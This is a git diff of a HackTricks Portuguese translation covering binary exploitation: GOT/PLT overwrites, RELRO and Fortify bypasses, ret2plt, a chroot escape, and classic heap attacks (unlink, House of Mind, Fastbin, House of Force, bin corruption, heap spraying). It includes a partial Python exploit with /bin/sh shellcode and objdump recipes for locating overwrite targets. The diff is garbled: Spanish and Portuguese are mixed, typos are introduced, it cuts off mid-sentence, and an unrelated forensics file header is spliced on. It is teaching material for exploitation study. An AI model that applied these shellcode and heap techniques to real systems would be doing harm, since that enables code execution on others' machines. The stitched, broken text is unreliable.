-Cuando o binário é carregado na memória e uma função é chamada pela primeira vez, ele pula para a PLT (Procedure Linkage Table), a partir daqui ele faz um salto (jmp) para a GOT e descobre que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Portanto, ele invoca o Runtime Linker ou rtfd para resolver o endereço e salvá-lo na GOT.
+```markdown
+Quando o binário é carregado na memória e uma função é chamada pela primeira vez, salta-se para a PLT (Procedure Linkage Table). Daqui, realiza-se um salto (jmp) para a GOT e descobre-se que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Assim, invoca-se o Runtime Linker ou rtfd para resolver o endereço e guardá-lo na GOT.
-Quando uma função é chamada, ela chama a PLT, que tem o endereço da GOT onde o endereço da função é armazenado, redirecionando o fluxo para lá e chamando a função. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, portanto, o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva-o na GOT e o chama.
+Quando se chama uma função, chama-se a PLT, que tem o endereço da GOT onde se armazena o endereço da função, redirecionando o fluxo para lá e chamando a função. No entanto, se é a primeira vez que a função é chamada, o que está na GOT é a instrução seguinte da PLT, então o fluxo segue o código da PLT (rtfd) para descobrir o endereço da função, guardá-lo na GOT e chamá-lo.
-Ao carregar um binário na memória, o compilador informa em qual offset os dados devem ser colocados quando o programa é executado.
+Ao carregar um binário na memória, o compilador indica em que offset devem ser colocados dados que devem ser carregados quando o programa é executado.
-Lazy binding -> O endereço da função é procurado apenas na primeira vez que a função é invocada, então a GOT tem permissões de escrita para que, quando for procurado, seja salvo lá e não precise ser procurado novamente.
+Lazy binding —> O endereço da função é procurado na primeira vez que a função é invocada, então a GOT tem permissões de escrita para que, ao procurar, o endereço seja guardado lá e não seja necessário procurar novamente.
-Bind now -> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para apenas leitura. **-z relro** e **-z now**
+Bind now —> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. **-z relro** e **-z now**
-Apesar disso, em geral, os programas não são complicados com essas opções, então esses ataques ainda são possíveis.
+Apesar disso, geralmente os programas não são compilados com essas opções, então esses ataques ainda são possíveis.
-**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** -> Para saber se usam o BIND NOW
+**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** —> Para saber se usam o BIND NOW
**Fortify Source -D_FORTIFY_SOURCE=1 ou =2**
-Tenta identificar funções que copiam de um local para outro de forma insegura e substitui a função por uma função segura.
+Tenta identificar funções que copiam de um local para outro de forma insegura e trocar a função por uma segura.
Por exemplo:\
char buf[16];\
-strcpy(buf, source);
+strcpy(but, source);
-Ele identifica como inseguro e, em seguida, substitui strcpy() por \_\_strcpy\_chk(), usando o tamanho do buffer como tamanho máximo a ser copiado.
+Identifica como insegura e então troca strcpy() por __strcpy_chk(), usando o tamanho do buffer como tamanho máximo a copiar.
A diferença entre **=1** ou **=2** é que:
-A segunda não permite que **%n** venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto aos argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode ser usado **%3$d** se antes for usado **%2$d** e **%1$d**
+A segunda não permite que **%n** venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só se pode usar **%3$d** se antes tiver usado **%2$d** e **%1$d**
-Para mostrar a mensagem de erro, usa-se o argv[0], portanto, se for colocado nele o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Pag 191
+Para mostrar a mensagem de erro, usa-se o argv[0], então se colocar no argv[0] o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191
-**Substituição do Libsafe**
+**Substituição de Libsafe**
-Ativado com: LD_PRELOAD=/lib/libsafe.so.2\
+Ativa-se com: LD_PRELOAD=/lib/libsafe.so.2\
ou\
-"/lib/libsave.so.2" > /etc/ld.so.preload
+“/lib/libsave.so.2” > /etc/ld.so.preload
-Ele intercepta chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).
+Intercepta chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (só para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis são seguradas e LD_PRELOAD não funciona em binários com suid).
**ASCII Armored Address Space**
@@ -723,78 +684,79 @@ Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff pa
**ret2plt**
-Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz o mesmo apontando para GOT+1 e copia o segundo byte de system()... No final, chama o endereço armazenado na GOT, que será system()
+Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se quer chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e copia-se o segundo byte de system()... No final, chama-se o endereço guardado na GOT que será system()
**Falso EBP**
-Para funções que usam o EBP como registro para apontar para os argumentos, ao modificar o EIP e apontar para system(), o EBP também deve ser modificado para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço de &"/bin/sh".
+Para funções que usam o EBP como registro para apontar para os argumentos, ao modificar o EIP e apontar para system(), deve-se ter modificado o EBP também para que aponte para uma área de memória que tenha 2 bytes quaisquer e depois o endereço para &"/bin/sh".
**Jaulas com chroot()**
-debootstrap -arch=i386 hardy /home/user -> Instala um sistema básico em um subdiretório específico
+debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico
-Um administrador pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
+Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de código**
-Valgrind -> Procura por erros\
+Valgrind —> Procura erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
-**Chunk alocado**
+**Troço atribuído**
prev_size |\
-size | - Cabeçalho\
+size | —Cabeçalho\
*mem | Dados
-**Chunk livre**
+**Troço livre**
prev_size |\
size |\
-*fd | Ptr para o próximo chunk\
-*bk | Ptr para o chunk anterior - Cabeçalho\
+*fd | Ponteiro para o próximo troço\
+*bk | Ponteiro para o troço anterior —Cabeçalho\
*mem | Dados
-Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca pode haver dois chunks livres juntos (eles são unidos)
+Os troços livres estão numa lista duplamente ligada (bin) e nunca podem haver dois troços livres juntos (são combinados).
-No "size", existem bits para indicar: se o chunk anterior está em uso, se o chunk foi alocado usando mmap() e se o chunk pertence à arena primária.
+No "size" há bits para indicar: Se o troço anterior está em uso, se o troço foi atribuído através de mmap() e se o troço pertence ao arena principal.
-Ao liberar um chunk, se algum dos chunks contíguos estiver livre, eles são mesclados usando a macro unlink() e o novo chunk maior é passado para frontlink() para que seja inserido no bin apropriado.
+Se ao libertar um troço algum dos contíguos estiver livre, eles são combinados através da macro unlink() e o novo troço maior é passado para frontlink() para ser inserido no bin adequado.
unlink(){\
-BK = P->bk; -> O BK do novo chunk é o que o chunk que já estava livre antes tinha\
-FD = P->fd; -> O FD do novo chunk é o que o chunk que já estava livre antes tinha\
-FD->bk = BK; -> O BK do próximo chunk aponta para o novo chunk\
-BK->fd = FD; -> O FD do chunk anterior aponta para o novo chunk\
+BK = P->bk; —> O BK do novo troço é o que tinha o troço livre anterior\
+FD = P->fd; —> O FD do novo troço é o que tinha o troço livre anterior\
+FD->bk = BK; —> O BK do próximo troço aponta para o novo troço\
+BK->fd = FD; —> O FD do troço anterior aponta para o novo troço\
}
-Portanto, se conseguirmos modificar P->bk com o endereço de um shellcode e P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
+Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
BK = P->bk = &shellcode\
FD = P->fd = &__dtor_end__ - 12\
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
-E assim, quando o programa é encerrado, a shellcode é executada.
+E assim, ao sair do programa, executa-se o shellcode.
-Além disso, a quarta instrução do unlink() escreve algo e a shellcode precisa ser ajustada para isso:
+Além disso, a 4ª instrução de unlink() escreve algo e o shellcode tem que estar preparado para isso:
-BK->fd = FD -> *((&shellcode + 8) = (&__dtor_end__ - 12) -> Isso causa a escrita de 4 bytes a partir do 8º byte da shellcode, então a primeira instrução da shellcode deve ser um jmp para pular isso e chegar a alguns nops que levem ao restante da shellcode.
+BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Isso causa a escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para saltar isso e cair em nops que levam ao resto do shellcode.
Portanto, o exploit é criado:
-No buffer1, inserimos a shellcode começando com um jmp para que ele caia nos nops ou no restante da shellcode.
-Depois do shell code, preenchemos com dados até chegar ao campo prev\_size e size do próximo chunk. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size e indicar que está livre) e "-4" (0xfffffffc) no size (para que, ao verificar o terceiro chunk, ele vá para o prev\_size modificado e pense que o segundo está livre) -> Assim, quando o free() for chamado, ele irá para o size do terceiro, mas na verdade irá para o segundo - 4 e pensará que o segundo chunk está livre. E então ele chamará o **unlink()**.
+No buffer1 colocamos o shellcode começando com um jmp para que caia nos nops ou no resto do shellcode.
-Ao chamar o unlink(), usamos os primeiros dados do segundo chunk como P->fd, então é lá que colocamos o endereço que queremos sobrescrever - 12 (pois ele adicionará 12 ao endereço armazenado em FD em BK). E nesse endereço, inserimos o segundo endereço encontrado no segundo chunk, que será o endereço do shell code (P->bk falso).
+Depois do shellcode, colocamos preenchimento até chegar aos campos prev_size e size do próximo troço. Nesses locais colocamos 0xfffffff0 (para sobrescrever o prev_size para que tenha o bit que diz que está livre) e "-4" (0xfffffffc) no size (para que, ao verificar no 3º troço se o 2º estava livre, na realidade vá para o prev_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá para o size do 3º mas na realidade irá para o 2º - 4 e pensará que o 2º troço está livre. E então chamará **unlink()**.
+
+Ao chamar unlink(), usará como P->fd os primeiros dados do 2º troço, então aí colocaremos o endereço que queremos sobrescrever - 12 (pois em FD->bk somará 12 ao endereço guardado em FD). E nesse endereço introduziremos a segunda direção que encontramos no 2º troço, que nos interessa que seja o endereço para o shellcode (P->bk falso).
**from struct import \***
**import os**
-**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bytes de preenchimento**
+**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@@ -802,99 +764,100 @@ Ao chamar o unlink(), usamos os primeiros dados do segundo chunk como P->fd, ent
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
-**prev\_size = pack("\ Retorna um ponteiro para o endereço onde o chunk começa (mem-8)
+p = mem2chunk(mes); —> Devolve um ponteiro para o endereço onde começa o troço (mem-8)
-...
+…
-ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
+ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
-...
+…
-\_int\_free(ar\_ptr, mem);
+_int_free(ar_ptr, mem);
}
-Em \[1], ele verifica o campo size do bit NON\_MAIN\_ARENA, que pode ser alterado para que a verificação retorne true e execute heap\_for\_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (no nosso caso, de 0x0804a000, deixa 0x08000000) e acessa 0x08000000->ar\_ptr (como se fosse uma struct heap\_info).
-De esta forma, podemos controlar un chunk, por exemplo, em 0x0804a000, y cuando se libere un chunk en **0x081002a0**, podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando se libere este segundo chunk, heap\_for\_ptr(ptr)->ar\_ptr devolverá lo que hemos escrito en 0x08100000 (ya que se aplica a 0x081002a0 el "and" que vimos antes y de ahí se obtiene el valor de los primeros 4 bytes, el ar\_ptr).
+Em [1] verifica o campo size o bit NON_MAIN_ARENA, o qual se pode alterar para que a verificação devolva true e execute heap_for_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acede a 0x08000000->ar_ptr (como se fosse um struct heap_info)
-De esta forma, se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
-**\_int\_free(mstate av, Void\_t\* mem){**\
+Dessa forma, se podemos controlar um troço por exemplo em 0x0804a000 e vai-se libertar um troço em **0x081002a0** podemos chegar à direção 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando este segundo troço se libertar, encontrará que heap_for_ptr(ptr)->ar_ptr devolve o que escrevemos em 0x08100000 (pois aplica-se a 0x081002a0 o and que vimos antes e daí tira-se o valor dos 4 primeiros bytes, o ar_ptr)
+
+Dessa forma, chama-se a _int_free(ar_ptr, mem), ou seja, **_int_free(0x0804a000, 0x081002a0)**\
+**_int_free(mstate av, Void_t* mem){**\
…\
-bck = unsorted\_chunks(av);\
+bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
@@ -903,187 +866,41 @@ fwd->bk = p;
..}
-Como hemos visto antes, podemos controlar el valor de av, ya que es lo que escribimos en el chunk que se va a liberar.
+Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no troço que vai ser libertado.
-Tal y como se define unsorted\_chunks, sabemos que:\
-bck = \&av->bins\[2]-8;\
-fwd = bck->fd = \*(av->bins\[2]);\
-fwd->bk = \*(av->bins\[2] + 12) = p;
+Tal como se define unsorted_chunks, sabemos que:\
+bck = &av->bins[2]-8;\
+fwd = bck->fd = *(av->bins[2]);\
+fwd->bk = *(av->bins[2] + 12) = p;
-Por lo tanto, si escribimos el valor de \_\_DTOR\_END\_\_-12 en av->bins\[2], en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo chunk.
+Portanto, se em av->bins[2] escrevermos o valor de __DTOR_END__-12 na última instrução, escrever-se-á em __DTOR_END__ o endereço do segundo troço.
-Es decir, en el primer chunk tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2].
+Ou seja, no primeiro troço temos que colocar no início muitas vezes o endereço de __DTOR_END__-12 porque daí tirará av->bins[2]
-En la dirección donde caiga la dirección del segundo chunk con los últimos 5 ceros, hay que escribir la dirección de este primer chunk para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer chunk y saque de ahí el av->bins\[2].
+Na direção que caia o endereço do segundo troço com os últimos 5 zeros temos que escrever o endereço a este primeiro troço para que heap_for_ptr() pense que o ar_ptr está no início do primeiro troço e tire daí o av->bins[2]
-En el segundo chunk, gracias al primero, sobrescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA.
+No segundo troço e graças ao primeiro sobrescrevemos o prev_size com um jump 0x0c e o size com algo para ativar -> NON_MAIN_ARENA
-A continuación, en el chunk 2 ponemos un montón de nops y finalmente la shellcode.
+A seguir no troço 2 colocamos muitos nops e finalmente o shellcode
-De esta forma, se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2, el cual saltará a la shellcode.
+Dessa forma, chamar-se-á a _int_free(TROZO1, TROZO2) e seguir-se-ão as instruções para escrever em __DTOR_END__ o endereço do prev_size do TROZO2 que saltará para o shellcode.
-Para aplicar esta técnica, se necesitan cumplir algunos requisitos adicionales que complican un poco más el payload.
+Para aplicar esta técnica é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.
-Esta técnica ya no es aplicable, ya que se aplicó casi el mismo parche que para unlink. Se compara si el nuevo sitio al que se apunta también le está apuntando a él.
+Esta técnica já não é aplicável pois aplicou-se quase o mesmo patch que para unlink. Comparam-se se o novo sítio ao qual se aponta também está apontando para ele.
**Fastbin**
-Es una variante de The house of mind.
+É uma variante de The house of mind
-Nos interesa llegar a ejecutar el siguiente código, al cual se llega después de la primera comprobación de la función \_int\_free().
+Interessa-nos chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função _int_free()
-fb = &(av->fastbins\[fastbin\_index(size)] —> Siendo fastbin\_index(sz) —> (sz >> 3) - 2
+fb = &(av->fastbins[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2
…
-p->fd = \*fb
+p->fd = *fb
-\*fb = p
+*fb = p
-De esta forma, si se pone en "fb" la dirección de una función en la GOT, en esta dirección se pondrá la dirección del chunk sobrescrito. Para esto, será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente, que av->max\_fast esté en la dirección que vamos a sobrescribir.
-
-Dado que con The House of Mind vimos que nosotros controlábamos la posición del av.
-
-Entonces, si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE, fastbin\_index() nos devolverá fastbins\[-1\], que apuntará a av->max\_fast.
-
-En este caso, av->max\_fast será la dirección que se sobrescribirá (no a la que apunte, sino esa posición será la que se sobrescribirá).
-
-Además, se tiene que cumplir que el chunk contiguo al liberado debe ser mayor que 8. Dado que hemos dicho que el size del chunk liberado es 8, en este chunk falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el chunk liberado, habrá que poner al principio un jmp que caiga en nops).
-
-Además, ese mismo chunk falso debe ser menor que av->system\_mem. av->system\_mem se encuentra 1848 bytes más allá.
-
-Por culpa de los nulos de \_DTOR\_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirve para ser sobrescrita, así que veamos cómo aplicar fastbin para atacar la pila.
-
-Otra forma de ataque es redirigir el **av** hacia la pila.
-
-Si modificamos el size para que sea 16 en vez de 8, entonces fastbin\_index() nos devolverá fastbins\[0\] y podemos hacer uso de esto para sobrescribir la pila.
-
-Para esto, no debe haber ningún canary ni valores extraños en la pila, de hecho, tenemos que encontrarnos en esta: 4 bytes nulos + EBP + RET.
-
-Los 4 bytes nulos se necesitan para que el **av** esté a esta dirección y el primer elemento de un **av** es el mutex que tiene que valer 0.
-
-El **av->max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones.
-
-En el **av->fastbins\[0\]** se sobrescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode.
-
-Además, en **av->system\_mem** (1484 bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
-
-Además, se tiene que cumplir que el chunk contiguo al liberado debe ser mayor que 8. Dado que hemos dicho que el size del chunk liberado es 16, en este chunk falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el chunk liberado, habrá que poner al principio un jmp que caiga en nops que van después del campo size del nuevo chunk falso).
-
-**The House of Spirit**
-
-En este caso, buscamos tener un puntero a un malloc que pueda ser alterado por el atacante (por ejemplo, que el puntero esté en el stack debajo de un posible desbordamiento de una variable).
-
-Así, podríamos hacer que este puntero apunte a donde sea. Sin embargo, no cualquier sitio es válido, el tamaño del chunk falso debe ser menor que av->max\_fast y, más específicamente, igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del chunk falso debe ser igual a 48.
-**A Casa da Força**
-
-É necessário:
-
-* Um overflow em um chunk que permita sobrescrever o wilderness
-* Uma chamada para malloc() com um tamanho definido pelo usuário
-* Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
-
-O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória grande o suficiente será tratada em \_int\_malloc() sem a necessidade de expandir o heap.
-
-O segundo passo é alterar o av->top para que aponte para uma área de memória sob o controle do atacante, como a pilha. Em av->top, colocamos \&EIP - 8.
-
-Precisamos sobrescrever av->top para que aponte para a área de memória sob o controle do atacante:
-
-victim = av->top;
-
-remainder = chunck\_at\_offset(victim, nb);
-
-av->top = remainder;
-
-A variável "victim" armazena o valor do endereço do chunk wilderness atual (o av->top atual) e "remainder" é exatamente a soma desse endereço mais a quantidade de bytes solicitados pelo malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
-
-0xbffff224 - 0x080c2788 = 3086207644.
-
-Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
-
-É importante saber que o tamanho do novo chunk wilderness deve ser maior do que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
-
-**A Casa do Conhecimento**
-
-**Corrupção do SmallBin**
-
-Os chunks liberados são inseridos no bin de acordo com seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente inserido em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o chunk anterior liberado puder ser usado, ele será retornado. No entanto, se um chunk maior for alocado, o chunk liberado em unsorted bins será inserido em seu bin apropriado.
-
-Para explorar o código vulnerável, a solicitação de memória deve ser maior que av->max\_fast (normalmente 72) e menor que MIN\_LARGE\_SIZE (512).
-
-Se houver um chunk no bin com o tamanho adequado ao que está sendo solicitado, ele será retornado após ser desvinculado:
-
-bck = victim->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
-
-bin->bk = bck; O penúltimo chunk se torna o último, caso bck aponte para a pilha, o próximo chunk alocado receberá esse endereço.
-
-bck->fd = bin; Fecha a lista fazendo com que ela aponte para o bin.
-
-São necessários:
-
-Dois mallocs, de modo que o primeiro possa ser estourado depois que o segundo for liberado e inserido em seu bin (ou seja, um malloc maior que o segundo chunk deve ser alocado antes do estouro).
-
-O malloc alocado ao qual o atacante escolhe o endereço deve ser controlado pelo atacante.
-
-O objetivo é o seguinte: se pudermos estourar um heap que tenha um chunk liberado abaixo dele e em seu bin, podemos alterar seu ponteiro bk. Se alterarmos seu ponteiro bk e esse chunk se tornar o primeiro da lista do bin e for alocado, enganaremos o bin e diremos que o último chunk da lista (o próximo a ser oferecido) está no endereço falso que escolhemos (como a pilha ou a GOT, por exemplo). Portanto, se outro chunk for alocado e o atacante tiver permissões nele, ele receberá um chunk na posição desejada e poderá escrever nele.
-
-Após liberar o chunk modificado, é necessário alocar um chunk maior do que o liberado, para que o chunk modificado saia de unsorted bins e seja inserido em seu bin.
-
-Uma vez em seu bin, é hora de modificar o ponteiro bk por meio do estouro para que ele aponte para o endereço que queremos sobrescrever.
-
-Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo chunk está no endereço falso. Em seguida, o chunk desejado será fornecido.
-
-Para que a vulnerabilidade seja executada o mais rápido possível, o ideal seria: alocar o chunk vulnerável, alocar o chunk que será modificado, liberar esse chunk, alocar um chunk maior que será modificado, modificar o chunk (vulnerabilidade), alocar um chunk do mesmo tamanho do chunk violado e alocar um segundo chunk do mesmo tamanho, que será o que aponta para o endereço escolhido.
-
-Para proteger esse ataque, é usada a verificação típica de que o chunk "não" é falso: verifica-se se bck->fd está apontando para victim. Ou seja, em nosso caso, se o ponteiro fd\* do chunk falso apontado na pilha está apontando para victim. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço adequado o endereço de victim. Para que pareça um chunk verdadeiro.
-
-**Corrupção do LargeBin**
-
-São necessários os mesmos requisitos que antes e mais alguns, além disso, os chunks alocados devem ser maiores que 512.
-
-O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do chunk modificado de forma que size - nb seja < MINSIZE.
-
-Por exemplo, definir size como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
-
-Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
-
-**Heap Spraying**
-Basicamente, consiste em alocar o máximo de memória possível para heaps e preenchê-los com uma sequência de nops seguida de um shellcode. Além disso, como preenchimento, utiliza-se 0x0c. A ideia é tentar saltar para o endereço 0x0c0c0c0c e, assim, se algum endereço que será chamado for sobrescrito com esse preenchimento, o salto será feito para lá. A tática básica é alocar o máximo possível de memória para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c, esperando que haja nops lá.
-
-**Heap Feng Shui**
-
-Consiste em alocar e liberar memória de forma a deixar pedaços alocados entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços.
-
-**objdump -d executável** —> Desmonta funções\
-**objdump -d ./PROGRAMA | grep FUNCION** —> Obtém o endereço da função\
-**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e obter os OpCodes\
-**objdump -t ./exec | grep varBss** —> Tabela de símbolos, para obter o endereço de variáveis e funções\
-**objdump -TR ./exec | grep exit(func lib)** —> Para obter o endereço de funções de bibliotecas (GOT)\
-**objdump -d ./exec | grep funcCode**\
-**objdump -s -j .dtors /exec**\
-**objdump -s -j .got ./exec**\
-**objdump -t --dynamic-relo ./exec | grep puts** —> Obtém o endereço de puts para sobrescrever na GOT\
-**objdump -D ./exec** —> Desmonta TUDO até as entradas da plt\
-**objdump -p -/exec**\
-**Info functions strncmp —>** Informações da função no gdb
-
-## Cursos interessantes
-
-* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
-* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
-
-## **Referências**
-
-* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
-
-
-
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
-* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
-
+Dessa forma, se se colocar em “fb” a direção de uma função na GOT, nessa direção colocar-se-á a direção ao troço sobrescrito. Para isso será necessário que a arena esteja perto das direções de dtors. Mais exatamente que av->max_fast esteja na direção que
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index 67101e975..581cb66bc 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,35 +1,37 @@
-# Forense Linux
+# Forense em Linux
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
